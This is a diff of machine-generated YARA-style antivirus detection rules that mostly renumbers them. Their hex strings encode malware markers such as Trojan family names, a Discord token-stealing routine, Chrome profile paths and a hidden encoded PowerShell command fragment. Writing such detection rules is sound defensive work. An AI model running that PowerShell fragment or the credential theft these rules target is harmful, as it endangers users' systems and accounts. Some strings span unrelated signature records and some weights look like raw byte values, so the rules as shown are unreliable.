00 04 00 21 " @@ -371409,7 +394297,7 @@ rule _InfrastructureShared_28463{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*114+(#a_01_2 & 1)*112+(#a_01_3 & 1)*21325) >=3 } -rule _InfrastructureShared_28464{ +rule _InfrastructureShared_30220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -371423,7 +394311,7 @@ rule _InfrastructureShared_28464{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*109+(#a_01_3 & 1)*109+(#a_01_4 & 1)*25956+(#a_01_5 & 1)*11831) >=5 } -rule _InfrastructureShared_28465{ +rule _InfrastructureShared_30221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -371436,7 +394324,7 @@ rule _InfrastructureShared_28465{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25938+(#a_01_3 & 1)*109+(#a_01_5 & 1)*6) >=5 } -rule _InfrastructureShared_28466{ +rule _InfrastructureShared_30222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 05 00 04 00 21 " @@ -371449,7 +394337,7 @@ rule _InfrastructureShared_28466{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1580+(#a_01_2 & 1)*18184+(#a_01_3 & 1)*22062) >=5 } -rule _InfrastructureShared_28467{ +rule _InfrastructureShared_30223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 10 00 21 " @@ -371471,7 +394359,7 @@ rule _InfrastructureShared_28467{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12336+(#a_01_2 & 1)*29541+(#a_01_3 & 1)*21515+(#a_01_4 & 1)*28265+(#a_01_5 & 1)*19524+(#a_01_6 & 1)*6656+(#a_01_8 & 1)*101+(#a_01_9 & 1)*112+(#a_01_10 & 1)*77+(#a_01_12 & 1)*100+(#a_01_13 & 1)*61+(#a_01_15 & 1)*7) >=16 } -rule _InfrastructureShared_28468{ +rule _InfrastructureShared_30224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -371485,7 +394373,7 @@ rule _InfrastructureShared_28468{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*17503+(#a_01_2 & 1)*29276+(#a_01_3 & 1)*26209+(#a_01_5 & 1)*112) >=6 } -rule _InfrastructureShared_28469{ +rule _InfrastructureShared_30225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -371499,7 +394387,7 @@ rule _InfrastructureShared_28469{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*111+(#a_01_2 & 1)*115+(#a_01_3 & 1)*66+(#a_01_5 & 1)*110) >=4 } -rule _InfrastructureShared_28470{ +rule _InfrastructureShared_30226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -371510,7 +394398,7 @@ rule _InfrastructureShared_28470{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*100) >=5 } -rule _InfrastructureShared_28471{ +rule _InfrastructureShared_30227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -371526,7 +394414,7 @@ rule _InfrastructureShared_28471{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17479+(#a_01_2 & 1)*27237+(#a_01_3 & 1)*17996+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_28472{ +rule _InfrastructureShared_30228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 0c 00 21 " @@ -371545,7 +394433,7 @@ rule _InfrastructureShared_28472{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*18553+(#a_01_2 & 1)*10536+(#a_01_3 & 1)*10617+(#a_01_4 & 1)*28281+(#a_01_6 & 1)*30735+(#a_01_7 & 1)*27768+(#a_01_8 & 1)*78+(#a_01_9 & 1)*82+(#a_01_11 & 1)*65) >=12 } -rule _InfrastructureShared_28473{ +rule _InfrastructureShared_30229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 13 00 21 " @@ -371566,7 +394454,7 @@ rule _InfrastructureShared_28473{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17516+(#a_01_2 & 1)*28233+(#a_01_3 & 1)*19529+(#a_01_5 & 1)*66+(#a_01_8 & 1)*37+(#a_01_9 & 1)*25+(#a_01_12 & 1)*4+(#a_01_13 & 1)*19747+(#a_01_14 & 1)*114+(#a_01_16 & 1)*116+(#a_01_18 & 1)*97) >=3 } -rule _InfrastructureShared_28474{ +rule _InfrastructureShared_30230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -371579,7 +394467,7 @@ rule _InfrastructureShared_28474{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*89+(#a_01_2 & 1)*70+(#a_01_3 & 1)*71) >=6 } -rule _InfrastructureShared_28475{ +rule _InfrastructureShared_30231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -371592,7 +394480,7 @@ rule _InfrastructureShared_28475{ ((#a_01_0 & 1)*19747+(#a_01_1 & 1)*114+(#a_01_3 & 1)*116+(#a_01_5 & 1)*97) >=4 } -rule _InfrastructureShared_28476{ +rule _InfrastructureShared_30232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371604,7 +394492,7 @@ rule _InfrastructureShared_28476{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*111+(#a_01_3 & 1)*116) >=5 } -rule _InfrastructureShared_28477{ +rule _InfrastructureShared_30233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 04 00 0a 00 21 " @@ -371614,14 +394502,12 @@ rule _InfrastructureShared_28477{ $a_01_2 = {76 69 63 65 20 77 61 73 20 6e 6f 74 20 73 74 61 72 74 65 64 2e 01 00 1a 25 73 20 25 73 20 53 65 4e 65 74 77 6f 72 6b 4c 6f 67 6f 6e 52 69 67 68 74 73 01 00 25 25 73 20 52 65 6d 6f 76 65 64 20 72 65 67 69 73 74 72 79 20 6b 65 79 20 66 6f 72 20 76 69 72 75 73 3a 20 25 73 00 00 61 27 01 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 70 6f 77 65 72 73 } //25971 $a_01_3 = {6c 2e 65 78 65 00 0a 00 0e 70 6f 77 65 72 73 68 65 6c 6c 2e 70 64 62 0a 00 4a 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 55 00 6e 00 6d 00 61 00 6e 00 61 00 67 00 65 00 64 00 50 00 53 00 45 00 6e 00 74 00 72 00 79 00 0a 00 46 25 00 77 00 69 } //25960 $a_01_5 = {00 72 00 25 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 0a 00 60 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 43 } //100 - $a_01_7 = {00 43 00 4c 00 52 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 4c 00 6f 00 61 00 64 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 00 00 61 29 01 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f 61 64 65 72 2e 41 56 00 01 00 3d 0f a2 8b f3 5b 89 07 89 77 } //114 - $a_01_8 = {08 33 c9 89 57 0c 8b 45 dc 8b 7d e4 89 45 f4 81 f7 6e 74 65 6c 8b 45 e8 35 69 6e 65 49 89 45 f8 8b 45 e0 35 47 65 6e 75 89 45 fc 33 c0 40 53 0f a2 01 00 44 68 60 31 00 10 67 64 ff 36 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 } //-30460 - $a_01_9 = {30 0a 10 31 45 fc 33 c5 } //-24233 + $a_01_7 = {00 43 00 4c 00 52 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 4c 00 6f 00 61 00 64 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 00 00 61 29 01 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 47 75 6c 6f 61 64 65 72 2e 52 50 32 32 30 35 32 35 21 4d 54 } //114 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29472+(#a_01_2 & 1)*25971+(#a_01_3 & 1)*25960+(#a_01_5 & 1)*100+(#a_01_7 & 1)*114+(#a_01_8 & 1)*-30460+(#a_01_9 & 1)*-24233) >=4 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29472+(#a_01_2 & 1)*25971+(#a_01_3 & 1)*25960+(#a_01_5 & 1)*100+(#a_01_7 & 1)*114) >=4 } -rule _InfrastructureShared_28478{ +rule _InfrastructureShared_30234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -371633,7 +394519,19 @@ rule _InfrastructureShared_28478{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*108+(#a_01_3 & 1)*10) >=30 } -rule _InfrastructureShared_28479{ +rule _InfrastructureShared_30235{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " + + strings : + $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 47 75 6c 6f 61 64 65 72 2e 52 50 32 32 30 35 32 35 21 4d 54 42 00 01 00 38 72 00 74 00 6f 00 72 00 6f 00 6d 00 61 00 6e 00 73 00 6b 00 65 00 73 00 20 00 6c 00 65 00 6d 00 6c 00 73 00 74 00 65 00 } //18467 + $a_01_1 = {00 65 00 72 00 2e 00 65 00 78 00 65 00 01 00 54 73 00 76 00 61 00 72 00 73 00 6b 00 72 00 69 00 66 00 74 00 65 00 72 00 6e 00 65 00 20 00 6e 00 6f 00 6e 00 63 00 61 00 72 00 6e 00 69 00 76 00 6f 00 72 00 6f 00 75 00 73 00 6c 00 79 00 20 00 75 00 6c 00 73 00 65 00 6c 00 69 00 67 00 68 00 65 00 64 00 01 00 60 75 00 6e 00 64 00 65 00 72 00 76 00 } //108 + $a_01_2 = {00 6e 00 69 00 6e 00 67 00 73 00 69 00 6e 00 64 00 65 00 6b 00 73 00 65 00 20 00 6d 00 6f 00 64 00 73 00 69 00 67 00 65 00 6c 00 73 00 65 00 6e 00 73 00 20 00 69 00 6e 00 64 00 6c 00 61 00 61 00 6e 00 73 00 6b 00 6f 00 6e 00 74 00 69 00 73 00 00 00 61 29 01 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f } //105 + condition: + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*108+(#a_01_2 & 1)*105) >=3 + +} +rule _InfrastructureShared_30236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -371644,7 +394542,7 @@ rule _InfrastructureShared_28479{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*18229) >=3 } -rule _InfrastructureShared_28480{ +rule _InfrastructureShared_30237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -371655,7 +394553,7 @@ rule _InfrastructureShared_28480{ ((#a_01_0 & 1)*25635+(#a_01_2 & 1)*112) >=4 } -rule _InfrastructureShared_28481{ +rule _InfrastructureShared_30238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -371671,7 +394569,7 @@ rule _InfrastructureShared_28481{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12336+(#a_01_2 & 1)*13367+(#a_01_3 & 1)*17462+(#a_01_4 & 1)*13360+(#a_01_5 & 1)*21320+(#a_01_6 & 1)*28261) >=7 } -rule _InfrastructureShared_28482{ +rule _InfrastructureShared_30239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 04 00 21 " @@ -371684,7 +394582,7 @@ rule _InfrastructureShared_28482{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28783+(#a_01_2 & 1)*17268+(#a_01_3 & 1)*21076) >=21 } -rule _InfrastructureShared_28483{ +rule _InfrastructureShared_30240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -371697,7 +394595,7 @@ rule _InfrastructureShared_28483{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27759+(#a_01_2 & 1)*28265+(#a_01_3 & 1)*17996) >=2 } -rule _InfrastructureShared_28484{ +rule _InfrastructureShared_30241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371711,7 +394609,7 @@ rule _InfrastructureShared_28484{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25956+(#a_01_2 & 1)*56+(#a_01_3 & 1)*8704+(#a_01_4 & 1)*14926) >=5 } -rule _InfrastructureShared_28485{ +rule _InfrastructureShared_30242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -371724,7 +394622,7 @@ rule _InfrastructureShared_28485{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*115+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10) >=30 } -rule _InfrastructureShared_28486{ +rule _InfrastructureShared_30243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -371735,7 +394633,7 @@ rule _InfrastructureShared_28486{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*-5819) >=3 } -rule _InfrastructureShared_28487{ +rule _InfrastructureShared_30244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -371751,7 +394649,7 @@ rule _InfrastructureShared_28487{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*18704+(#a_01_3 & 1)*111+(#a_01_4 & 1)*114+(#a_01_6 & 1)*77+(#a_01_8 & 1)*120+(#a_01_9 & 1)*25701) >=10 } -rule _InfrastructureShared_28488{ +rule _InfrastructureShared_30245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -371762,7 +394660,7 @@ rule _InfrastructureShared_28488{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*78) >=3 } -rule _InfrastructureShared_28489{ +rule _InfrastructureShared_30246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -371774,7 +394672,7 @@ rule _InfrastructureShared_28489{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26980+(#a_01_2 & 1)*8306) >=4 } -rule _InfrastructureShared_28490{ +rule _InfrastructureShared_30247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -371786,7 +394684,7 @@ rule _InfrastructureShared_28490{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*512+(#a_01_3 & 1)*2560) >=4 } -rule _InfrastructureShared_28491{ +rule _InfrastructureShared_30248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371795,26 +394693,12 @@ rule _InfrastructureShared_28491{ $a_01_1 = {43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 2d 00 4c 00 69 00 6e 00 65 00 20 00 53 00 65 00 6c 00 66 00 20 00 45 00 78 00 74 00 72 00 61 00 63 00 74 00 6f 00 72 00 20 00 67 00 65 00 6e 00 65 00 72 00 61 00 74 00 65 00 64 00 20 00 62 00 79 00 20 00 44 00 6f 00 74 00 4e 00 65 00 74 00 5a 00 69 00 70 00 2e 00 } //1 Command-Line Self Extractor generated by DotNetZip. $a_01_2 = {50 00 4f 00 53 00 54 00 5f 00 55 00 4e 00 50 00 41 00 43 00 4b 00 5f 00 43 00 4d 00 44 00 5f 00 4c 00 49 00 4e 00 45 00 } //1 POST_UNPACK_CMD_LINE $a_01_3 = {45 00 58 00 54 00 52 00 41 00 43 00 54 00 4c 00 4f 00 43 00 41 00 54 00 49 00 4f 00 4e 00 } //1 EXTRACTLOCATION - $a_01_4 = {2d 01 00 0c 00 0c 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 45 41 21 4d 54 42 00 02 00 20 47 65 74 57 69 6e 64 6f 77 73 50 72 6f 64 75 63 74 4b 65 79 46 72 6f 6d 52 65 67 69 73 74 72 79 02 00 19 44 65 63 6f 64 65 50 72 6f 64 75 63 74 4b 65 79 57 } //0 + $a_01_4 = {2e 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 43 72 79 70 74 2e 53 4c 21 4d 54 42 00 01 00 68 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 69 6e 64 6f 77 20 68 69 64 64 65 6e 20 2d 45 6e 63 6f 64 65 64 43 6f 6d 6d 61 6e 64 20 4a 41 41 32 41 } //0 condition: ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0) >=5 } -rule _InfrastructureShared_28492{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 06 00 21 " - - strings : - $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 45 41 21 4d 54 42 00 02 00 20 47 65 74 57 69 6e 64 6f 77 73 50 72 6f 64 75 63 74 4b 65 79 46 72 6f 6d 52 65 67 69 73 74 72 79 02 00 19 44 65 } //21539 - $a_01_1 = {65 50 72 6f 64 75 63 74 4b 65 79 57 69 6e 38 41 6e 64 55 70 02 00 17 47 65 74 41 6c 6c 4e 65 74 77 6f 72 6b 49 6e 74 65 72 66 61 63 65 73 02 00 17 47 65 74 54 6f 6b 65 6e 73 46 72 6f 6d 44 69 73 63 6f 72 64 41 70 70 02 00 66 25 00 55 00 53 00 45 00 52 00 50 00 52 00 4f 00 46 00 49 00 4c 00 45 00 25 } //28515 - $a_01_3 = {00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 55 00 73 00 65 00 72 00 20 00 44 00 61 00 74 00 61 00 02 00 25 24 46 32 43 35 36 35 42 36 2d 45 34 46 35 2d 34 30 42 31 2d 38 43 34 30 2d 46 42 37 30 43 46 35 41 32 45 36 41 00 } //65 - $a_01_4 = {01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 43 72 79 70 74 2e 53 4c 21 4d 54 42 00 } //24832 - $a_01_5 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 69 6e 64 6f 77 20 68 69 64 64 65 6e 20 2d 45 6e 63 6f 64 65 64 43 6f 6d 6d 61 6e 64 20 4a 41 41 32 41 44 6b 41 65 51 42 57 41 43 41 41 50 51 41 67 41 43 63 41 4a 41 42 71 41 45 63 41 61 77 42 32 41 43 41 41 50 51 41 67 41 43 63 41 4a 77 42 62 41 45 51 41 62 41 42 73 41 45 } //1 powershell -window hidden -EncodedCommand JAA2ADkAeQBWACAAPQAgACcAJABqAEcAawB2ACAAPQAgACcAJwBbAEQAbABsAE - condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28515+(#a_01_3 & 1)*65+(#a_01_4 & 1)*24832+(#a_01_5 & 1)*1) >=12 - -} -rule _InfrastructureShared_28493{ +rule _InfrastructureShared_30249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -371827,7 +394711,7 @@ rule _InfrastructureShared_28493{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25710+(#a_01_2 & 1)*30561+(#a_01_3 & 1)*16739) >=4 } -rule _InfrastructureShared_28494{ +rule _InfrastructureShared_30250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 07 00 21 " @@ -371841,7 +394725,7 @@ rule _InfrastructureShared_28494{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*99+(#a_01_3 & 1)*115+(#a_01_4 & 1)*67+(#a_01_6 & 1)*68) >=15 } -rule _InfrastructureShared_28495{ +rule _InfrastructureShared_30251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 06 00 21 " @@ -371855,7 +394739,7 @@ rule _InfrastructureShared_28495{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10) >=40 } -rule _InfrastructureShared_28496{ +rule _InfrastructureShared_30252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -371867,7 +394751,7 @@ rule _InfrastructureShared_28496{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*120+(#a_01_3 & 1)*97) >=4 } -rule _InfrastructureShared_28497{ +rule _InfrastructureShared_30253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -371880,7 +394764,7 @@ rule _InfrastructureShared_28497{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*93+(#a_01_3 & 1)*121+(#a_01_4 & 1)*115) >=4 } -rule _InfrastructureShared_28498{ +rule _InfrastructureShared_30254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371894,7 +394778,7 @@ rule _InfrastructureShared_28498{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25711+(#a_01_2 & 1)*29477+(#a_01_3 & 1)*8313+(#a_01_4 & 1)*8285) >=5 } -rule _InfrastructureShared_28499{ +rule _InfrastructureShared_30255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -371907,7 +394791,7 @@ rule _InfrastructureShared_28499{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*103+(#a_01_4 & 1)*79+(#a_01_5 & 1)*30060) >=6 } -rule _InfrastructureShared_28500{ +rule _InfrastructureShared_30256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -371920,7 +394804,7 @@ rule _InfrastructureShared_28500{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25661+(#a_01_2 & 1)*22135+(#a_01_3 & 1)*21562) >=3 } -rule _InfrastructureShared_28501{ +rule _InfrastructureShared_30257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371932,7 +394816,7 @@ rule _InfrastructureShared_28501{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*76+(#a_01_4 & 1)*72) >=5 } -rule _InfrastructureShared_28502{ +rule _InfrastructureShared_30258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371945,7 +394829,7 @@ rule _InfrastructureShared_28502{ ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*105+(#a_01_3 & 1)*8226+(#a_01_4 & 1)*29555) >=5 } -rule _InfrastructureShared_28503{ +rule _InfrastructureShared_30259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -371960,7 +394844,7 @@ rule _InfrastructureShared_28503{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*10272+(#a_01_2 & 1)*8295+(#a_01_3 & 1)*25632+(#a_01_4 & 1)*27745+(#a_01_5 & 1)*24909) >=6 } -rule _InfrastructureShared_28504{ +rule _InfrastructureShared_30260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 21 " @@ -371977,7 +394861,7 @@ rule _InfrastructureShared_28504{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29289+(#a_01_2 & 1)*25959+(#a_01_3 & 1)*26740+(#a_01_4 & 1)*32+(#a_01_5 & 1)*110+(#a_01_6 & 1)*49+(#a_01_7 & 1)*14336) >=7 } -rule _InfrastructureShared_28505{ +rule _InfrastructureShared_30261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -371989,7 +394873,7 @@ rule _InfrastructureShared_28505{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*116+(#a_01_3 & 1)*120) >=3 } -rule _InfrastructureShared_28506{ +rule _InfrastructureShared_30262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -372001,7 +394885,7 @@ rule _InfrastructureShared_28506{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*101+(#a_01_3 & 1)*116) >=3 } -rule _InfrastructureShared_28507{ +rule _InfrastructureShared_30263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -372013,7 +394897,7 @@ rule _InfrastructureShared_28507{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*32260+(#a_01_2 & 1)*13366) >=1 } -rule _InfrastructureShared_28508{ +rule _InfrastructureShared_30264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -372023,7 +394907,7 @@ rule _InfrastructureShared_28508{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_28509{ +rule _InfrastructureShared_30265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 04 00 21 " @@ -372035,7 +394919,7 @@ rule _InfrastructureShared_28509{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10) >=20 } -rule _InfrastructureShared_28510{ +rule _InfrastructureShared_30266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 06 00 21 " @@ -372049,7 +394933,7 @@ rule _InfrastructureShared_28510{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*78+(#a_01_2 & 1)*125+(#a_01_4 & 1)*45+(#a_01_5 & 1)*68) >=100 } -rule _InfrastructureShared_28511{ +rule _InfrastructureShared_30267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -372060,7 +394944,7 @@ rule _InfrastructureShared_28511{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29285) >=2 } -rule _InfrastructureShared_28512{ +rule _InfrastructureShared_30268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 02 00 21 " @@ -372071,7 +394955,7 @@ rule _InfrastructureShared_28512{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13166) >=3 } -rule _InfrastructureShared_28513{ +rule _InfrastructureShared_30269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 09 00 21 " @@ -372088,7 +394972,7 @@ rule _InfrastructureShared_28513{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25956+(#a_01_2 & 1)*9533+(#a_01_3 & 1)*28710+(#a_01_4 & 1)*28524+(#a_01_5 & 1)*20581+(#a_01_6 & 1)*25445+(#a_01_7 & 1)*23644) >=3 } -rule _InfrastructureShared_28514{ +rule _InfrastructureShared_30270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 0f 00 21 " @@ -372108,7 +394992,7 @@ rule _InfrastructureShared_28514{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25959+(#a_01_2 & 1)*28793+(#a_01_5 & 1)*21272+(#a_01_6 & 1)*0+(#a_01_7 & 1)*-8704+(#a_01_8 & 1)*32+(#a_01_9 & 1)*26984+(#a_01_12 & 1)*115+(#a_01_13 & 1)*114+(#a_01_14 & 1)*101) >=15 } -rule _InfrastructureShared_28515{ +rule _InfrastructureShared_30271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 02 00 06 00 21 " @@ -372122,7 +395006,7 @@ rule _InfrastructureShared_28515{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*20306+(#a_01_2 & 1)*19968+(#a_01_4 & 1)*0+(#a_01_5 & 1)*-8704) >=2 } -rule _InfrastructureShared_28516{ +rule _InfrastructureShared_30272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -372133,7 +395017,7 @@ rule _InfrastructureShared_28516{ 